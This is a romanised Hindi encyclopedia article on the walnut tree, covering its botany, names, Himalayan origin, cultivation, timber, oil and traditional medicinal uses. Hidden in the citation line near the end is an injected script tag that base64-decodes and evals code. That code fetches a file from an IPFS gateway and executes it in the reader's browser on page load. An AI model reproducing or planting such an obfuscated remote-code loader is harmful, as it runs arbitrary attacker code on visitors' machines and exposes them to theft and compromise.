अखरोट
akharot gandhayukt vishal suandar patajh diy vriksh hai jisaki sugandh apane dhang ki nirali hoti hai. isaki ooanchaee 13-33 mitar aur tane ki paridhi 3-6 mitar tak hoti hai. isaka chhatr phaila hua hota hai. b de vriksh ki chhal bhoori, khuraduri tatha lanbi-lanbi dararoan se yukt hoti hai. ja doan mean pe d patrahin ho jata hai aur nee pattiyaan pharavari mean ati haian. isaki sanyukt pattiyaan 15 se 30 seantimitar tak lanbi hoti hai aur tane par ekaantarat lagi rahati hai. akharot pharavari se aprail tak phoolata hai. isake phool hare rang ke tatha ekaliangi hote haian; lekin usi vriksh par nar aur mada donoan prakar ke phool ate haian. kee nar phool ek latakati huee manjari (kaitakin) mean aur mada phool shakhaoan ke siroan par 1 se 6 tak lage rahate haian. isake phal julaee se sitanbar tak pakate haian. isaka guthalidar phal (droop) aandakar aur paanch seantimitar tak lanba hota hai. isamean ek hara, mota, maansal chhilaka hota hai jisake aandar k da kathaphal (nat) rahata hai. phal mean keval ek bij hota hai. bij ka bhakshy bhag ya giri do jhurridar bij patroan ka bana hota hai. thumb|250px
vanaspatishastri akharot ko joogalaians rijiya kahate haian aur isaka samavesh isi vriksh ko adarsh manakar isi ke nam par akshot phul ya joogalaiandasi mean karate haian. aangreji mean ise valanat, hiandi evan bangala mean akharot, aur sanskrit mean akshot ya akshod kahate haian. ianglaiand mean bajar mean bikane vale akharot ko pharasi akharot (parshiyan valanat) kahate haian. usi ko amarika vale kabhi pharasi akharot aur kabhi aangreji akharot kahate haian. akharot ka mool sthan himalay, hiandookush, uttari eeran aur kakeshiya hai. isake vriksh bharat mean himalay ke uchch parvatiy kshetroan, jaise kashmir, kumayooan, nepal, bhootan, sikkim ityadi mean samudratal se 2,135 se 3,050 mitar tak ki ooanchaee par jaganli roop mean uge hue pae jate haian, parantu 915 se 2,135 mitar tak ye uttam lak di tatha phaloan ke lie ugae jate haian.
akharot ke vriksh ko prakash ki adhik avashyakata hoti hai aur khadayukt domat mitti isake lie sabase adhik upayukt hai. amarika mean vrikshoan ko prati varsh hari khad di jati hai aur kee bar siancha bhi jata hai. samanyat akharot ke paudhe bijoan se ugae jate haian. paud taiyar karane ke lie bijoan ko pakane ke mausam mean taje pake phaloan se ekatr kar turant bo dena chahie, kyoanki bijoan ko adhik din rakhane par unaki aankuran shakti ghatati jati hai. ek varsh tak gamaloan mean lagakar bad mean paudhoan ko nishchit sthanoan par lagabhag pachas-pachas phut ke aantar par ropana chahie. amarika mean ab achchhi jatiyoan ki kalamean lagaee jati haian ya chashme (bad) baandhe jate haian. thumb|250px
akharot ke pe d ki mahatta usake bijoan, pattiyoan tatha lak di ke karan hai. isaki lak di halaki parantu majaboot hoti hai. yah kalapoorn sajasajja ki samagri (pharnichar) banane, lak di par nakkashi karane aur bandook tatha raiphal ke kuandoan (gan st aauk) ke lie sarvottam samajhi jati hai. isaka ausat bhar 20.53 kilogram prati varg phut hai. isake phal ke bahari chhilake se ek prakar ka rang taiyar kiya jata hai jo lak di rangane aur kachcha cham da sijhane ke kam mean ata hai. bij ki svadisht giri b de chav se khaee jati hai. giri se tel bhi nikala jata hai jo khaya, jalaya tatha chitrakaroan dvara kam mean laya jata hai. akharot ke vriksh ki chhal, pattiyaan, giri, phal ke chhilake ityadi chikitsa mean bhi kam ate haian. ayurved ke anusar isaki giri mean kamoddipak gun hote haian aur yah amlapitt (hart barn), udarashool (k aaulik), pechish ityadi mean labhakar samajhi jati hai. giri ka tel rechak, pitt ke lie gunakari tatha pet se krimi nikalane mean bhi uttam samajha jata hai. pe d ki chhal mean kriminashak, stanbhak tatha shodhak gun hote haian. patti evan chhal ka kvath tvacha anek bimariyoan, jaise agiyasan (harapiz), ukavat (ekjima), gandamala tatha vranoan mean labh pahuanchata hai. isaki pattiyaan uttam chare ka kam deti haian.kailiforniya (amarika) mean akharot bahut adhik matra mean ugaya jata hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 71 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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